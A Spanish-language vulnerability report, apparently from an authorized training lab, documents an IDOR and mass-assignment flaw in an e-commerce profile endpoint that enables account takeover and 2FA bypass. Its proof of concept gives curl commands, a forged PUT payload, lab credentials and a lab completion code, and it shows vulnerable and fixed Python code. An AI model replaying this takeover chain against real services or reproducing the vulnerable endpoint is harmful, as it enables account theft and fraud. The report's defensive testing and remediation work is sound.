🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

IDOR + Mass Assignment con secuestro de cuenta y evasión de 2FA en el E-commerce

ID del Ticket	**VULN-2026-002**
Activo evaluado	**Aplicación web «E-commerce» (Lab Ecommerce)**
Severidad	**ALTA** **CVSS v3.1 8.1**
Tipo	**IDOR / BOLA + Mass Assignment (BOPLA) — CWE-639 / CWE-915**
Cliente	**Software Seguro — Laboratorio Ecommerce**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**08 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 7
6. Referencias e Historial pág. 9

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

La tienda en línea permite que un usuario con una cuenta válida **modifique la cuenta de otro cliente**. Al actualizar su propio perfil, la aplicación confía en un número de identificación (el `id`) que viaja dentro de la petición y que el propio usuario puede alterar. Cambiando ese número, un atacante **reescribe los datos de cualquier otra cuenta** — en particular, el correo electrónico asociado.

¿Por qué importa para el negocio?

Cambiar el correo de la víctima tiene una consecuencia grave: el **segundo factor de autenticación (2FA)** de esa cuenta deja de proteger. El código de verificación que debería llegar a la víctima pasa a llegar al atacante, que así **toma el control total de la cuenta**, incluso cuando la víctima tenía la doble autenticación activada. A partir de ahí puede ver datos personales, el historial de compras y **realizar compras en nombre de la víctima**. Las consecuencias incluyen fraude económico, suplantación de identidad, exposición de datos personales y posibles sanciones por incumplimiento de la normativa de protección de datos (Ley 25.326 en Argentina / GDPR).

¿Qué tan grave es?

Severidad ALTA — CVSS 8.1. La falla es sencilla de explotar: basta con cambiar un número y un correo en la petición de actualización de perfil. Durante la prueba se tomó el control de la cuenta del usuario `juan` —que tenía 2FA activo— desde la cuenta de `maria`, y se completó una compra a su nombre, obteniéndose el código de verificación del laboratorio.

¿Qué hay que hacer?

Ignorar el identificador que envía el cliente y actualizar **únicamente la cuenta de la sesión activa**. Campos sensibles como el `id` y el `email` nunca deben poder modificarse libremente desde el cuerpo de la petición; un cambio de correo debe exigir verificación en la dirección antigua. Es una corrección de bajo esfuerzo y alto impacto.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Secuestro de cuentas de terceros y evasión del 2FA mediante modificación de perfil ajeno	Alta	Alto	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

El endpoint de actualización de perfil acepta el identificador del objeto (`id` del usuario) directamente desde el cuerpo de la petición y lo utiliza para localizar el registro a modificar, **sin validar que ese registro pertenezca al usuario autenticado**. Se combinan dos defectos que se potencian entre sí:

a) IDOR / BOLA en la escritura — modificación de la cuenta de otro usuario. La aplicación selecciona el registro a actualizar por el `id` recibido del cliente en lugar de derivarlo de la sesión. Esto es un caso de *Insecure Direct Object Reference* (IDOR), catalogado como *Broken Object Level Authorization* (BOLA).

b) Mass Assignment / BOPLA — el campo `id` es modificable. El modelo expone el atributo `id` (clave primaria) como un campo editable del formulario/JSON. El usuario autenticado `maria` (id 2) envía un `PUT` con `"id": 1`, logrando que el servidor sobrescriba la cuenta de `juan` (id 1).

Consecuencia encadenada — evasión del 2FA y secuestro de cuenta. Al reescribir el correo de la víctima con una dirección controlada por el atacante, el segundo factor enviado por email en el inicio de sesión de `juan` llega al atacante. Con las credenciales de `juan` (previamente filtradas por un *infostealer*) más el correo secuestrado, el atacante supera el 2FA y opera la cuenta: realiza una compra del producto *«Memoria RAM 16GB DDR4»* a nombre de la víctima.

2.2 Flujo del ataque

- El atacante dispone de una cuenta propia válida: `maria` (id 2).
- Posee además credenciales filtradas de la víctima `juan` (id 1), pero su inicio de sesión exige un código 2FA enviado al correo de Juan.
- Desde la sesión de Maria, el atacante consulta su propio perfil y descubre que la respuesta incluye el campo `id`.
- Envía un `PUT` de actualización de perfil con `id = 1` y un `email` propio: el servidor modifica la cuenta de Juan.
- El atacante inicia sesión como Juan; el código 2FA llega ahora a su correo. Supera la verificación y compra el producto.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-639 — Authorization Bypass Through User-Controlled Key · CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes (Mass Assignment) · CWE-284 — Improper Access Control
OWASP API Security Top 10 (2023)	API1:2023 — Broken Object Level Authorization (BOLA) · API3:2023 — Broken Object Property Level Authorization (BOPLA / Mass Assignment)
OWASP Top 10 (2021)	A01:2021 — Broken Access Control
Debilidad asociada	CWE-287 — Improper Authentication (evasión del segundo factor como consecuencia del cambio de correo)
CVE	No aplica (defecto propio de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«E-commerce» (Lab Ecommerce)
Host	`chl-<instancia>-ecommerce.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Endpoints implicados	`GET /api/users/me/` (lectura del perfil propio) `PUT /api/users/` (actualización de perfil; selecciona el registro por el `id` del cuerpo)

Parámetro	`id` y `email` en el cuerpo JSON de la petición
Dato sensible involucrado	Credenciales / correo de la cuenta, segundo factor (2FA), datos personales e historial de compras
Alcance	Todas las cuentas de la plataforma (modificación y toma de control)

2.5 Causa raíz

El endpoint aplica **autenticación pero no autorización a nivel de objeto ni control de propiedades**: verifica que exista una sesión iniciada, pero toma el registro a modificar del `id` enviado por el cliente y permite escribir atributos que deberían ser de solo lectura (`id`, `email`). El identificador del dueño debe derivarse de la sesión del servidor, nunca del cuerpo de la petición. Adicionalmente, el cambio de dirección de correo no exige reverificación, lo que convierte un cambio de perfil en una vía de evasión del 2FA.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
8.1	ALTA	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	La API se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: basta con modificar el `id` y el `email` en la petición de actualización.
Privileges Required (PR)	**Low (L)**	Se necesita una cuenta de usuario estándar con sesión iniciada (p. ej. `maria`).
User Interaction (UI)	**None (N)**	No requiere que la víctima realice ninguna acción.
Scope (S)	**Unchanged (U)**	El impacto permanece dentro de la misma aplicación/autoridad de seguridad.
Confidentiality (C)	**High (H)**	La toma de control expone la totalidad de los datos de la cuenta víctima (perfil, correo, historial de compras).
Integrity (I)	**High (H)**	Permite modificar la cuenta de cualquier usuario y operar en su nombre (p. ej. generar compras).
Availability (A)	**None (N)**	No hay interrupción directa del servicio por esta falla.

Nota de criterio: la disponibilidad se valora como **None (A:N)**. Bajo un criterio más conservador, el cambio de correo puede bloquear a la víctima de su propia cuenta (la recuperación de contraseña se dirige al atacante); considerando esa pérdida de acceso como `A:L`, el puntaje asciende a **8.3**, que permanece en el rango de severidad **Alta**.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con una cuenta del laboratorio puede replicar el hallazgo.

4.1 Requisitos previos

- Cuenta propia del atacante: usuario `maria` / clave `120c7c1bba3421` (id 2, sin 2FA).
- Credenciales filtradas de la víctima: usuario `juan` / clave `e1930b4927e6b6d9` (id 1, con 2FA por email).
- Un correo controlado por el atacante para recibir el 2FA secuestrado.
- Un navegador web, o `curl` + `jq` desde línea de comandos.

4.2 Pasos de reproducción

Paso 1 — Autenticarse como `maria` y fijar la URL base. Capturar la cookie de sesión del atacante.

```
# Subdominio asignado a tu instancia del laboratorio
BASE="https://chl-<instancia>-ecommerce.softwareseguro.com.ar"

# Autenticación de la cuenta propia (maria); guarda la cookie de sesión
curl -s -c cookies.txt -X POST "$BASE/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=maria&password=120c7c1bba3421"
```

Paso 2 — Leer el perfil propio y confirmar que la respuesta expone el `id`.

```
curl -s -b cookies.txt "$BASE/api/users/me/" | jq .

# Respuesta observada:
# { "username": "maria", "email": "maria@hacklab.com",
#   "first_name": "María", "last_name": "Torres", "id": 2 }
```

Evidencia 1 — El objeto de perfil incluye el campo `id`, controlable por el cliente en la actualización.

Paso 3 — Mass Assignment + IDOR: reescribir la cuenta de Juan (id 1). Enviar un `PUT` con el `id` de la víctima y un correo del atacante. Se omite el campo `username` porque, incluido, el servidor devuelve error.

```
curl -s -b cookies.txt -X PUT "$BASE/api/users/" \
  -H "Content-Type: application/json" \
  --data '{
    "email": "atacante@correo-controlado.test",
    "first_name": "María",
    "last_name": "Torres",
    "id": 1
  }'
# -> HTTP 200: el correo de la cuenta id 1 (juan) queda reescrito
```

Evidencia 2 — El servidor acepta el `id = 1` del cuerpo y modifica una cuenta ajena: IDOR de escritura + Mass Assignment confirmados.

Paso 4 — Evasión del 2FA e inicio de sesión como Juan. Con las credenciales filtradas, iniciar sesión como `juan`. El código de segundo factor se envía ahora al correo del atacante.

```
curl -s -c cookies_juan.txt -X POST "$BASE/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=juan&password=e1930b4927e6b6d9"

# El 2FA llega al correo controlado -> se introduce el código y se completa el login
```

Evidencia 3 — El segundo factor, que debía proteger a Juan, es recibido por el atacante gracias al cambio de correo. 2FA evadido.

Paso 5 — Compra a nombre de la víctima y verificación del impacto. Ya con sesión plena de Juan, adquirir el producto objetivo (*Memoria RAM 16GB DDR4*, id 5).

```
curl -s -b cookies_juan.txt -X POST "$BASE/api/cart/" \
  -H "Content-Type: application/json" --data '{"product_id": 5, "qty": 1}'

curl -s -b cookies_juan.txt -X POST "$BASE/api/checkout/" | jq .
# -> Compra completada a nombre de Juan. Código de verificación del laboratorio:
#    fe01348e4bf437fe03688896f7889107
```

Evidencia 4 — Compra efectuada en la cuenta de la víctima y obtención del código final del laboratorio, demostrando el control total de la cuenta.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
`HTTP 403` al enviar un `PUT` con el `id` de otra cuenta; el campo `id`/`email` ignorado o reverificado.	`HTTP 200`: se reescribe la cuenta ajena, se evade el 2FA y se completa una compra como la víctima.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, con el impacto mínimo necesario para demostrar el riesgo. El correo usado para recibir el 2FA es un buzón de prueba del propio analista. En un entorno productivo no deben alterarse cuentas ni correos reales; la demostración se limitaría a evidenciar la modificación de un único registro de control.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

Derivar siempre el usuario a modificar de la **sesión del servidor** y tratar `id` y `email` como campos de solo lectura en el endpoint de perfil. El identificador del cliente debe descartarse por completo.

Endpoint de actualización — ignorar el `id` del cliente y usar el de la sesión:

```
# VULNERABLE: toma el registro del id del cuerpo y permite escribir id/email
@app.put("/api/users/")
@login_required
def update_profile():
    data = request.get_json()
    user = User.query.get_or_404(data["id"])   # <- id controlado por el cliente
    user.email = data["email"]                 # <- campo sensible modificable
    user.first_name = data["first_name"]
    db.session.commit()
    return jsonify(user.to_dict())

# CORREGIDO: opera solo sobre la sesión; id/email no son asignables aquí
@app.put("/api/users/")
@login_required
def update_profile():
    data = request.get_json()
    user = current_user                        # <- dueño derivado de la sesión
    ALLOWED = {"first_name", "last_name"}   # allow-list explícita
    for field in ALLOWED & data.keys():
        setattr(user, field, data[field])
    db.session.commit()                        # id y email quedan intactos
    return jsonify(user.to_dict())
```

Cambio de correo — exigir verificación en la dirección actual:

```
# El email no se actualiza en caliente: se emite un token a la dirección ANTIGUA
@app.post("/api/users/email-change/")
@login_required
def request_email_change():
    new_email = request.get_json()["email"]
    token = issue_signed_token(current_user.id, new_email)
    send_mail(current_user.email, verify_link(token))   # confirma el titular real
    return "", 202
```

5.2 Mitigaciones temporales

- Aplicar una regla en el WAF/API Gateway que rechace peticiones de actualización de perfil cuyo `id` en el cuerpo no coincida con el de la sesión.
- Eliminar `id` de los serializadores de entrada y marcar `email` como no editable en la actualización de perfil.
- Monitorizar y alertar sobre cambios de correo seguidos de inicios de sesión con 2FA desde nuevas direcciones.

5.3 Buenas prácticas de fondo (prevención)

- **Allow-list de campos (mass assignment)**: aceptar solo atributos explícitamente permitidos; nunca enlazar el cuerpo completo al modelo.
- **Autorización a nivel de objeto "deny by default"**: toda operación de escritura debe comprobar propiedad/rol contra la sesión.
- **Protección del cambio de correo y del 2FA**: reverificar el correo anterior y notificar a ambas direcciones ante cualquier cambio; invalidar sesiones al modificar credenciales.
- **Pruebas automatizadas de autorización**: un test que intente modificar con la sesión del usuario A el recurso del usuario B y espere `403`.
- **Revisión de código / análisis estático** orientados a BOLA, BOPLA/mass assignment e IDOR en nuevos endpoints.

5.4 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Ignorar el `id` del cliente y aplicar allow-list de campos en el `PUT` de perfil	Equipo de desarrollo	Alta	Inmediato	Pendiente
Exigir verificación del correo anterior ante cambios de email	Equipo de desarrollo	Alta	Inmediato	Pendiente
Mitigación en WAF + monitoreo de cambios de correo / 2FA	Infraestructura / SecOps	Alta	24–48 h	Pendiente
Test de regresión de autorización (A→B = 403)	QA / Seguridad	Alta	Con el fix	Pendiente
Re-test de verificación	Analista de seguridad	Alta	Tras el fix	Pendiente

5.5 Verificación (re-test)

Repetir los pasos 3 y 4 de la PoC con la sesión de `maria` contra la cuenta de `juan`. El criterio de aceptación es que el `PUT` con un `id` ajeno responda `403` (o ignore el campo), que el `email` no cambie sin verificación, y que el 2FA de Juan siga llegando a su dirección legítima. Confirmar además que un usuario sí puede editar sus propios datos permitidos.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que no es posible modificar cuentas ajenas ni evadir el 2FA, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP API Security Top 10 (2023) — API1:2023 Broken Object Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- OWASP API Security Top 10 (2023) — API3:2023 Broken Object Property Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/
- CWE-639 — Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
- CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes (Mass Assignment): https://cwe.mitre.org/data/definitions/915.html
- OWASP Top 10 (2021) — A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP WSTG — Testing for IDOR / Mass Assignment: https://owasp.org/www-project-web-security-testing-guide/
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-08	J. M. F.	Creación del reporte y documentación del hallazgo IDOR + Mass Assignment con evasión de 2FA.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.